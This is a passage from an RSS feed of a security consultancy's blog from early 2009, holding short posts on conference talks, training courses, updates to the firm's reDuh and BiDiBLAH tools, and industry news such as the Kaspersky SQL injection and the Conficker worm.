				<description>&lt;p&gt;A little while back i &lt;a href=&#34;http://www.sensepost.com/blog/3073.html&#34; target=&#34;_blank&#34;&gt;commented&lt;/a&gt; on Marcus Ranums HiTB talk &amp;#8220;&lt;a href=&#34;http://thepiratebay.org/torrent/4654588/HITBSecConf2008_-_Malaysia_Videos___Day_1&#34; target=&#34;_blank&#34;&gt;Cyberwar is Bullshit!&lt;/a&gt;&amp;#8220;. I ended the post with the words &amp;#8220;&lt;strong&gt;&lt;em&gt;Ranum is indeed much better than this..&lt;/em&gt;&lt;/strong&gt;&amp;#8220;. Ranum spoke recently at Source Boston, and his talk [&lt;a href=&#34;http://blog.tenablesecurity.com/2009/03/ranums-rants-the-anatomy-of-security-disasters.html&#34; target=&#34;_blank&#34;&gt;The Anatomy of Security Disasters&lt;/a&gt;] indeed shows this is true..&lt;/p&gt;&#xA;&lt;p&gt;If you are in the industry to make a quick buck, or because it beats flipping burgers at McD&amp;#8217;s, you probably dont need to, but if you are involved with security decisions at any level, then you really should take a few minutes to digest his talk.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hello World (With an LED)</title>
				<link>https://sensepost.com/blog/2009/hello-world-with-an-led/</link>
				<pubDate>Mon, 30 Mar 2009 22:51:37 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/hello-world-with-an-led/</guid>
				<description>&lt;p&gt;Way back when i was a sysadmin, i recall reading a quote from one of the ATT greybeards who said something to the effect of &amp;#8220;every competent sysadmin should be able to build his own network card&amp;#8221;.&lt;/p&gt;&#xA;&lt;p&gt;Of course most of us have spent tons of time ripping apart electronics and &amp;#8220;watching what happens when you connect X and Y&amp;#8221;, but unlike the electronic engineers with their oh-so-cool multi-meters ive never actually done any plc programming..&lt;/p&gt;</description>
			</item>
			<item>
				<title>HBN Developer Edition Training</title>
				<link>https://sensepost.com/blog/2009/hbn-developer-edition-training/</link>
				<pubDate>Mon, 30 Mar 2009 14:47:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/hbn-developer-edition-training/</guid>
				<description>&lt;p&gt;Hi All&lt;/p&gt;&#xA;&lt;p&gt;We have scheduled our first Developer course for April in Pretoria, should you know of anyone in your area that would like to attend.&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8211; Hacking by Numbers &amp;#8211; Developer Edition (28-30th April)&lt;/p&gt;&#xA;&lt;p&gt;Information about the course:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HBN &amp;#8211; Developer Edition&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&amp;#8216;Hacking By Numbers &amp;#8211; Developer Edition&amp;#8217; is a course aimed at arming web application developers with knowledge of web application attack techniques currently being used in the &amp;#8216;wild&amp;#8217; and how to combat them. Derived from our internationally acclaimed &amp;#8216;Hacking By Numbers&amp;#8217; security training, this course focuses heavily on two questions: &amp;#8220;What am I up against?&amp;#8221; and &amp;#8220;How can I protect my applications from attack?&amp;#8221; During the course sample applications will be dissected to discover security related bugs hidden within the code. The class will then consider prevention, detection &amp;amp; cure.&lt;/p&gt;</description>
			</item>
			<item>
				<title>!exploitable [Vuln finding freebie from MSFT]</title>
				<link>https://sensepost.com/blog/2009/exploitable-vuln-finding-freebie-from-msft/</link>
				<pubDate>Sun, 22 Mar 2009 16:57:20 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/exploitable-vuln-finding-freebie-from-msft/</guid>
				<description>&lt;p&gt;Microsoft released !exploitable at CanSecWest this year. The debugger extension, and the accompanying slide deck can be found [&lt;a href=&#34;http://www.microsoft.com/security/msec/default.mspx&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;].&lt;/p&gt;&#xA;&lt;p&gt;I have not looked at it, but a glance at the slides implies that they aim to solve the problem of too many dumps &amp;#8211; not enough time..&lt;/p&gt;&#xA;&lt;p&gt;Its pretty cool.. and that Microsoft is releasing this is even cooler..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Jack C. Louis: Jan 5, 1977 – March 14, 2009</title>
				<link>https://sensepost.com/blog/2009/jack-c.-louis-jan-5-1977-march-14-2009/</link>
				<pubDate>Sun, 22 Mar 2009 09:36:51 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/jack-c.-louis-jan-5-1977-march-14-2009/</guid>
				<description>&lt;p&gt;Truly tragic. We are all poorer for it.. It really was an honor and a privilege to have known him..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Like deja-vu (all over again)</title>
				<link>https://sensepost.com/blog/2009/like-deja-vu-all-over-again/</link>
				<pubDate>Fri, 20 Mar 2009 19:38:36 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/like-deja-vu-all-over-again/</guid>
				<description>&lt;p&gt;Those of you who were around in 2001 will recall &lt;a href=&#34;http://web.archive.org/web/*/http:/anti.security.is/&#34; target=&#34;_blank&#34;&gt;http://anti.security.is&lt;/a&gt; (&lt;a href=&#34;http://thorkill.einherjar.de/antisecurity-faq.html&#34; target=&#34;_blank&#34;&gt;anti-sec f.a.q&lt;/a&gt;)..&lt;/p&gt;&#xA;&lt;p&gt;The sentiment pops up periodically (in different forms) and it seems like CansecWest this year has seen a resurgence of it.. From Charlie Millers comments on the Safari bug:&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8220;&lt;strong&gt;Did you consider reporting the vulnerability to Apple?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;I never give up free bugs. I have a new campaign. It’s called NO MORE FREE BUGS. Vulnerabilities have a market value so it makes no sense to work hard to find a bug, write an exploit and then give it away.  Apple pays people to do the same job so we know there’s value to this work. No more free bugs.&lt;/em&gt;&amp;#8221;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack Like You Mean It – we’re taking PCI to Vegas</title>
				<link>https://sensepost.com/blog/2009/hack-like-you-mean-it-were-taking-pci-to-vegas/</link>
				<pubDate>Fri, 20 Mar 2009 13:30:50 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/hack-like-you-mean-it-were-taking-pci-to-vegas/</guid>
				<description>&lt;p&gt;We&amp;#8217;ve been busying ourselves with the PCI DSS in one way or another for more than a year now here at SensePost. Its been a frustrating exercise of mixed messages, politics, tokenism, mixed in with a healthy dose of mixed feelings about what the standard offers and whether that&amp;#8217;s good for anyone at all. Now, finally, we&amp;#8217;re accredited to do this that and the other under the standard so we feel its time to start speaking our minds on the subject.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Only an idiot will install a beta os on his primary phone..</title>
				<link>https://sensepost.com/blog/2009/only-an-idiot-will-install-a-beta-os-on-his-primary-phone../</link>
				<pubDate>Thu, 19 Mar 2009 08:25:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/only-an-idiot-will-install-a-beta-os-on-his-primary-phone../</guid>
				<description>&lt;p&gt;and i am that idiot&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;Developers signed up with Apples Dev Program get to take iPhoneOS3.0 out for a spin, so that the app store can have ver3 apps when the new OS launches.. A quick download (as quick as it gets in South Africa), a prayer (or 10) during install:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/only-an-idiot-will-install-a-beta-os-on-his-primary-phone/b6a6fb2381046c74c83fd66b69ff5ebe.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;240&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/only-an-idiot-will-install-a-beta-os-on-his-primary-phone/b6a6fb2381046c74c83fd66b69ff5ebe.jpg&#34; title=&#34;almost&#34; width=&#34;180&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and now i too have a phone that can handle cut n paste! (tho admittedly it feels surprisingly fiddly to me at this point).&lt;/p&gt;</description>
			</item>
			<item>
				<title>CodeGate – 2009</title>
				<link>https://sensepost.com/blog/2009/codegate-2009/</link>
				<pubDate>Thu, 12 Mar 2009 07:22:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/codegate-2009/</guid>
				<description>&lt;p&gt;[&lt;a href=&#34;http://beist.org/&#34; target=&#34;_blank&#34;&gt;beistlabs&lt;/a&gt;] [&lt;a href=&#34;http://www.codegate.org/ENG/&#34; target=&#34;_blank&#34;&gt;CodeGate&lt;/a&gt;] has come and gone.. A nice writeup of the event can be found [&lt;a href=&#34;http://vnsecurity.net/Members/lamer/archive/2009/03/11/codegate2009/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;] with a pdf of challenges and solutions [&lt;a href=&#34;http://www.vnsecurity.net/Members/lamer/Files/codegate2009.pdf&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>Attack Vector based Risk Management?</title>
				<link>https://sensepost.com/blog/2009/attack-vector-based-risk-management/</link>
				<pubDate>Wed, 11 Mar 2009 16:29:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/attack-vector-based-risk-management/</guid>
				<description>&lt;p&gt;Interesting post by Michael Dahn at pcianswers.com discussed (again) the difference between compliance and security. Do you know the joke about the difference between a canary? Apparently, its one leg is the same. Well, according to the post, the difference between compliance and security is&amp;#8230; there is no spoon. I&amp;#8217;m sounding facetious, but the post is actually not bad. &lt;a href=&#34;http://pcianswers.com/2009/03/11/there-is-no-spoon-compliance-in-a-new-world/&#34;&gt;Read more…&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But actually, there was another part of the post that caught my eye. Its the comments about &amp;#8216;Attack Vector based Risk Management&amp;#8217; or &amp;#8216;AVRM&amp;#8217;. Not much is said about this except:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Defcon 16 Videos Available..</title>
				<link>https://sensepost.com/blog/2009/defcon-16-videos-available../</link>
				<pubDate>Mon, 09 Mar 2009 20:13:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/defcon-16-videos-available../</guid>
				<description>&lt;p&gt;&lt;a href=&#34;feed:https://www.defcon.org/podcast/defcon-16-video.rss&#34;&gt;&lt;br /&gt;&#xA;&lt;img alt=&#34;&#34;  height=&#34;151&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/defcon-16-videos-available/30dc3a0ab5797baeb7f63f6c9fcf49bd.png&#34; title=&#34;defcon&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ok.. So The Dark Tangent announced this [&lt;a href=&#34;http://marc.info/?l=full-disclosure&amp;amp;m=123633231312238&amp;amp;w=2&#34; target=&#34;_blank&#34;&gt;a few days ago&lt;/a&gt;], but i felt it deserved mention because i was genuinely wow&amp;#8217;ed at the video quality.. I have only gone through a couple of the presentations, but its the first time ive found demos video&amp;#8217;d well enough to follow ferpectly on screen..&lt;/p&gt;&#xA;&lt;p&gt;Readers can pull the videos from [&lt;a href=&#34;https://www.defcon.org/podcast/defcon-16-video.rss&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;SensePost&amp;#8217;ers can pull from [&lt;a href=&#34;https://introonet.sensepost.com/store/cons-multimedia/dc-16/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;&#xA;&lt;p&gt;PS. When we did &lt;a href=&#34;https://media.defcon.org/dc-16/video/Defcon16-SensePost-Pushing_the_Camel_through_needle.m4v&#34; target=&#34;_blank&#34;&gt;our talk&lt;/a&gt; (pictured above) i had almost no voice and a flu from hell&lt;/p&gt;</description>
			</item>
			<item>
				<title>BiDiBLAH Case Study (Part 1)</title>
				<link>https://sensepost.com/blog/2009/bidiblah-case-study-part-1/</link>
				<pubDate>Mon, 09 Mar 2009 12:21:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/bidiblah-case-study-part-1/</guid>
				<description>&lt;p&gt;With our recent release of &lt;a href=&#34;http://www.sensepost.com/research/bidiblah&#34;&gt;BiDiBLAH 2.0&lt;/a&gt;, we&amp;#8217;ve decided to revisit some real world scenarios, and ways BiDiBLAH can deal with it&amp;#8230; All the scenarios can be downloaded from the BiDiBLAH &lt;a href=&#34;http://www.sensepost.com/research/bidiblah&#34;&gt;home&lt;/a&gt; page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If a hacker can mine/collect email addresses from our company he/she can send malware / phishing attacks to these people. But, who are these people? And what other sensitive information are we leaking from a particular domain?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>MacBook Pro – Battery RIP</title>
				<link>https://sensepost.com/blog/2009/macbook-pro-battery-rip/</link>
				<pubDate>Wed, 04 Mar 2009 08:18:12 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/macbook-pro-battery-rip/</guid>
				<description>&lt;p&gt;About 2 weeks ago the battery performance on my machine took a sudden nose dive. Worse than the fact that it started giving me only about 1 hour, is the fact that its become perfectly unreliable in terms of watching the battery meter. (Once it reaches about 30% it switches off).&lt;/p&gt;&#xA;&lt;p&gt;Then yesterday i started noticing a wobble on the machine as it sat on my desk.. A quick examination this morning shows that the Battery has warped completely..&lt;/p&gt;</description>
			</item>
			<item>
				<title>VMWare enters the cloud computing foray</title>
				<link>https://sensepost.com/blog/2009/vmware-enters-the-cloud-computing-foray/</link>
				<pubDate>Wed, 25 Feb 2009 16:13:42 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/vmware-enters-the-cloud-computing-foray/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://www.businessweek.com/technology/content/feb2009/tc20090224_743328.htm&#34;&gt;BusinessWeek reports&lt;/a&gt; that VMWare has launched a new product aimed at establishing it as a competitor in the cloud computing space.&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;Dubbed the Virtual Data Center Operating System (VDC-OS), the software creates a bank of computers, storage devices, and networking equipment that a company can tap at will, as computing needs arise—say, during a December spike in Web traffic for an online retailer.&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;VMWare is the leet, so this should be interesting to watch&amp;#8230;it should also be interesting as it is being spearheaded by some ex-Microsoft execs&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Top Ten Web Hacking Techniques of 2008</title>
				<link>https://sensepost.com/blog/2009/top-ten-web-hacking-techniques-of-2008/</link>
				<pubDate>Tue, 24 Feb 2009 11:33:57 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/top-ten-web-hacking-techniques-of-2008/</guid>
				<description>&lt;p&gt;(aka &amp;#8211; Whoot! we are almost famous!!)&lt;/p&gt;&#xA;&lt;p&gt;J&lt;a href=&#34;Top Ten Web Hacking Techniques of 2008&#34; target=&#34;_blank&#34;&gt;eremiah Grossman&amp;#8217;s&lt;/a&gt; panel of judges (&lt;a href=&#34;http://securosis.com/about/&#34; target=&#34;_blank&#34;&gt;Rich Mogull&lt;/a&gt;, &lt;a href=&#34;http://rationalsecurity.typepad.com/&#34; target=&#34;_blank&#34;&gt;Chris Hoff&lt;/a&gt;,  &lt;a href=&#34;http://digitaloffense.net/&#34; target=&#34;_blank&#34;&gt;HD Moore&lt;/a&gt; and &lt;a href=&#34;http://www.forristal.com/&#34; target=&#34;_blank&#34;&gt;RFP&lt;/a&gt;) hath spoken (or spake) and the &lt;a href=&#34;http://jeremiahgrossman.blogspot.com/2009/02/top-ten-web-hacking-techniques-of-2008.html&#34; target=&#34;_blank&#34;&gt;top 10 web-hacking techniques of 2008&lt;/a&gt; have been published.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/top-ten-web-hacking-techniques-of-2008/6039504339e9c560f4e3fe45387014c3.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;263&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/top-ten-web-hacking-techniques-of-2008/6039504339e9c560f4e3fe45387014c3.jpg&#34; title=&#34;oscar&#34; width=&#34;350&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Of course we would be lying completely if we said it wasn&amp;#8217;t cool to make it into the top 10 (and doubly cool to make it twice in the top 10!)..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Cebit Expo 2009</title>
				<link>https://sensepost.com/blog/2009/cebit-expo-2009/</link>
				<pubDate>Mon, 23 Feb 2009 13:20:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/cebit-expo-2009/</guid>
				<description>&lt;p&gt;&lt;span&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/cebit-expo-2009/ff8e9902c56b70bde77a8f785a6087a7.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;180&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/cebit-expo-2009/ff8e9902c56b70bde77a8f785a6087a7.jpg&#34; title=&#34;cb09_logo_en&#34; width=&#34;110&#34; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span&gt;SensePost have once again been invited to join the South African Department of Trade and Industry at Cebit, as one of 15 SA companies, to exhibit on their pavilion. Visitors to this show range in the region of 500,000 and approximately 5700 exhibitors fill the 27 Halls. Cebit is the biggest information and technology show in Europe and attracts exhibitors and visitors from all over the world. Our stand number is E48 in Hall 5. &lt;/span&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>BiDiBLAH / SPUD..  Quick feedback</title>
				<link>https://sensepost.com/blog/2009/bidiblah-/-spud..-quick-feedback/</link>
				<pubDate>Mon, 23 Feb 2009 08:31:03 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/bidiblah-/-spud..-quick-feedback/</guid>
				<description>&lt;p&gt;We&amp;#8217;ve had some feedback from some &lt;a href=&#34;http://www.sensepost.com/research/bidiblah/&#34; target=&#34;_blank&#34;&gt;BiDiBLAH&lt;/a&gt; / &lt;a href=&#34;http://www.sensepost.com/research/spud/&#34; target=&#34;_blank&#34;&gt;SPUD&lt;/a&gt; users regarding a few changes&amp;#8230; Firstly, SPUD seems to be crashing under a few instances of Vista&amp;#8230; We&amp;#8217;ve taken note of the issue and will spend some time looking into the issue in the *not too distant* future&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;Secondly, on BiDiBLAH, we&amp;#8217;ve had a request from a user to have brute force and reverse queries done against the servers listed as NS records for the domains.  (This will provide authoritative data).  We&amp;#8217;ll also look into this request in the next release.&lt;/p&gt;</description>
			</item>
			<item>
				<title>HITB08 – Marcus Ranum Keynote on CyberWar..</title>
				<link>https://sensepost.com/blog/2009/hitb08-marcus-ranum-keynote-on-cyberwar../</link>
				<pubDate>Sun, 22 Feb 2009 18:50:43 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/hitb08-marcus-ranum-keynote-on-cyberwar../</guid>
				<description>&lt;p&gt;I just managed to pull the &lt;a href=&#34;http://www.hackinthebox.org/&#34; target=&#34;_blank&#34;&gt;HackintheBox&lt;/a&gt; torrents for their [&lt;a href=&#34;http://thepiratebay.org/torrent/4654588/HITBSecConf2008_-_Malaysia_Videos___Day_1&#34; target=&#34;_blank&#34;&gt;2008 talks&lt;/a&gt;]. (SensePosters can grab a local copy [&lt;a href=&#34;https://introonet.sensepost.com/store/cons-multimedia/hitb_08/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]). &lt;/p&gt;&#xA;&lt;p&gt;I watched Marcus Ranums &amp;#8220;Cyberwar is Bullshit&amp;#8221; talk. A talk that was truly wince-worthy! While the talk will make you scream at the screen a few times, it is worth watching just to see the Q&amp;amp;A section after the talk.. It&amp;#8217;s quite clear that Ranum gets owned more thoroughly than his online gallery did.&lt;/p&gt;</description>
			</item>
			<item>
				<title>FW: HBN Extended Edition 9-13 March</title>
				<link>https://sensepost.com/blog/2009/fw-hbn-extended-edition-9-13-march/</link>
				<pubDate>Tue, 17 Feb 2009 14:39:25 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/fw-hbn-extended-edition-9-13-march/</guid>
				<description>&lt;div &gt;&#xA;&lt;p&gt;&lt;span&gt;Yes, it is time to offer some technical input by way of our HBN Extended Edition training. There will be no Christmas hat this time round but lots of valued input. We have scheduled our first training course for our new year, Hacking By Numbers &amp;#8211; &amp;#8220;Extended&amp;#8221; Edition &amp;#8211; for March 9-13th . The course runs for a full 5 days in Pretoria, South Africa.&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span&gt;The HBN &amp;#8216;Extended Edition&amp;#8217; is simply an intensive extended version of the regular Bootcamp course. Whilst the content and structure are essentially the same as Bootcamp, the Extended Edition offers students a deeper understanding of the concepts being presented and affords them more time to practice the techniques being taught. Extended Edition is currently only offered in Switzerland and South Africa only, or can be arranged on request.&lt;/span&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Joe Grand (Kingpin) gets famouser!</title>
				<link>https://sensepost.com/blog/2009/joe-grand-kingpin-gets-famouser/</link>
				<pubDate>Tue, 17 Feb 2009 12:14:17 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/joe-grand-kingpin-gets-famouser/</guid>
				<description>&lt;p&gt; &lt;a href=&#34;https://sensepost.com/img/pages/blog/2009/joe-grand-kingpin-gets-famouser/d48fab34e69b32c0c29139a9ae9cda46.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;179&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2009/joe-grand-kingpin-gets-famouser/d48fab34e69b32c0c29139a9ae9cda46.png&#34; title=&#34;coaster2&#34; width=&#34;180&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is probably really old news (to some), but was in the company of sattelite TV this weekend and saw that &lt;a href=&#34;http://www.grandideastudio.com/&#34; target=&#34;_blank&#34;&gt;Joe Grand&lt;/a&gt; now has a TV Slot all of his own. &amp;#8220;Prototype This&amp;#8221; looks like it will be awesome..&lt;/p&gt;&#xA;&lt;p&gt;I spent the rest of the day trying hard to catch the adverts at just the right time to get a pic of Joe, while excitedly saying &amp;#8220;i cant believe joe is on TV&amp;#8221; to deels to try to convince her that it was a better alternative than going out..&lt;/p&gt;</description>
			</item>
			<item>
				<title>reDuh.ASPX</title>
				<link>https://sensepost.com/blog/2009/reduh.aspx/</link>
				<pubDate>Mon, 09 Feb 2009 09:07:29 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/reduh.aspx/</guid>
				<description>&lt;p&gt;An additional issue has been discovered in the ASPX version of reDuh.  Although the script did work as expected, it did not set the ScriptTimeout value.  This resulted in reDuh terminating active connections once the page timeout had expired.&lt;/p&gt;&#xA;&lt;p&gt;This has been fixed in the ASPX version.  A copy can be grabbed from &lt;a href=&#34;http://www.sensepost.com/research/reDuh/reDuh-server-all.tgz&#34; target=&#34;_blank&#34; title=&#34;reDuh Servers&#34;&gt;here&lt;/a&gt;.  More information regarding reDuh can be found &lt;a href=&#34;http://www.sensepost.com/research/reDuh/&#34; target=&#34;_blank&#34; title=&#34;reDuh&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>ASPX and reDuh</title>
				<link>https://sensepost.com/blog/2009/aspx-and-reduh/</link>
				<pubDate>Mon, 09 Feb 2009 05:02:03 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/aspx-and-reduh/</guid>
				<description>&lt;p&gt;We&amp;#8217;ve received a number of queries regarding folkses unable to get the ASPX version of reDuh to work.&lt;/p&gt;&#xA;&lt;p&gt;In truth, the client had a faulty HTTP implementation meaning that HTTP requests were malformed.  Apache and Tomcat cope admirably with the malformed requests, IIS does not.&lt;/p&gt;&#xA;&lt;p&gt;So, we&amp;#8217;ve built a new client version for reDuh which will play nicely with IIS.  Apart from the bugfix, the new version also supports SSL.  A direct link to the updated client is &lt;a href=&#34;http://www.sensepost.com/research/reDuh/reDuhClient-0.3.zip&#34; target=&#34;_blank&#34; title=&#34;reDuh Client&#34;&gt;here&lt;/a&gt;.  More information regarding reDuh is &lt;a href=&#34;http://www.sensepost.com/research/reDuh/&#34; target=&#34;_blank&#34; title=&#34;reDuh&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Vanilla SQL Injection is oh-so-90’s…wait…is it? (Jackin the K)</title>
				<link>https://sensepost.com/blog/2009/vanilla-sql-injection-is-oh-so-90swaitis-it-jackin-the-k/</link>
				<pubDate>Sun, 08 Feb 2009 20:53:20 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/vanilla-sql-injection-is-oh-so-90swaitis-it-jackin-the-k/</guid>
				<description>&lt;p&gt;aka.. Someone put the &lt;a href=&#34;http://www.youtube.com/watch?v=bHxyHlFZ778&#34; target=&#34;_blank&#34;&gt;hurtski on Kaspersky&lt;/a&gt;..&lt;/p&gt;&#xA;&lt;p&gt;The Twitters (via &lt;a href=&#34;http://twitter.com/XSSniper&#34;&gt;XSSniper&lt;/a&gt; and others) and the Interwebs were ablaze with news on a SQL Injection vulnerability that was exploited on AV vendor &lt;a href=&#34;http://www.kaspersky.com/&#34;&gt;Kaspersky&amp;#8217;s&lt;/a&gt; site. Detail of the attack can be found &lt;a href=&#34;http://hackersblog.org/2009/02/07/usakasperskycom-hacked-full-database-acces-sql-injection/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;#8217;s interesting that SQL Injection (though as old as the proverbial hills) is still such a major issue.&lt;br /&gt;&#xA;In fact, I have it on good authority that the bulk of PCI-related compromises are still as a result of SQL Injection&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>On Hiring Staff – The T-Shirt Method..</title>
				<link>https://sensepost.com/blog/2009/on-hiring-staff-the-t-shirt-method../</link>
				<pubDate>Wed, 04 Feb 2009 09:33:01 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/on-hiring-staff-the-t-shirt-method../</guid>
				<description>&lt;p&gt;Anyone who has honestly reflected on what they know about hiring, will tell you that no matter how locked-down you think you have it, you dont. There is still way too much left to chance and way too much that you just dont know. To avoid this, companies that care about preserving their culture will sometimes adopt a &amp;#8220;default deny&amp;#8221; approach. It&amp;#8217;s ok to miss a potentially good hire rather than to take on a bad one. This isn&amp;#8217;t silly geek risk aversion.. It&amp;#8217;s because one bad hire can do amazing damage to a culture (an area bad hires can be amazingly productive in).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Turn of the century deja vu?</title>
				<link>https://sensepost.com/blog/2009/turn-of-the-century-deja-vu/</link>
				<pubDate>Sun, 01 Feb 2009 21:05:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/turn-of-the-century-deja-vu/</guid>
				<description>&lt;p&gt;The recent widespread carnage caused by the &lt;a href=&#34;http://en.wikipedia.org/wiki/Conficker&#34;&gt;Conficker worm&lt;/a&gt; is astounding, but is also comforting, in a strange way.&lt;/p&gt;&#xA;&lt;p&gt;It has been a good few years since the world saw a worm outbreak of this magnitude. Indeed, since the Code Red, Slammer and Blaster days, things have been fairly quiet on the Interwebs front.&lt;/p&gt;&#xA;&lt;p&gt;As a community, it seems we very quickly forgot the pains caused by these collective strains of evil. Many people proclaimed the end of issues of that particular bent, whether it be as a result of prolific post-worm hastily induced reaction buying of preventative technologies and their relatives, or whether more faith was placed in software vendors preventing easily &amp;#8220;wormable&amp;#8221; holes in their software.&lt;/p&gt;</description>
			</item>
			<item>
				<title>EDoS is the new DDoS ?</title>
				<link>https://sensepost.com/blog/2009/edos-is-the-new-ddos/</link>
				<pubDate>Tue, 27 Jan 2009 16:21:49 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/edos-is-the-new-ddos/</guid>
				<description>&lt;p&gt;Over at [&lt;a href=&#34;http://rationalsecurity.typepad.com/blog/2009/01/a-couple-of-followups-on-my-edos-economic-denial-of-sustainability-concept.html&#34; target=&#34;_blank&#34;&gt;Rational Survivability&lt;/a&gt;] beaker as coined the term &lt;a href=&#34;http://blogs.zdnet.com/security/?p=2423&#34; target=&#34;_blank&#34;&gt;EDoS&lt;/a&gt;. To describe how &amp;#8220;the utility and agility of the cloud computing models such as Amazon AWS (EC2/S3) and the pricing models that go along with them can actually pose a very nasty risk to those who use the cloud to provide service&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;Of course, this has kicked off the flurry of responses from &amp;#8220;How is this different to soaking up the bandwidth of people who pay per gig&amp;#8221; to &amp;#8220;OMG! thats the new thing.. Cloud Computing is bad&amp;#8221;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>RFP Spotting..</title>
				<link>https://sensepost.com/blog/2009/rfp-spotting../</link>
				<pubDate>Mon, 26 Jan 2009 21:03:18 +0000</pubDate>
				<guid>https://sensepost.com/blog/2009/rfp-spotting../</guid>
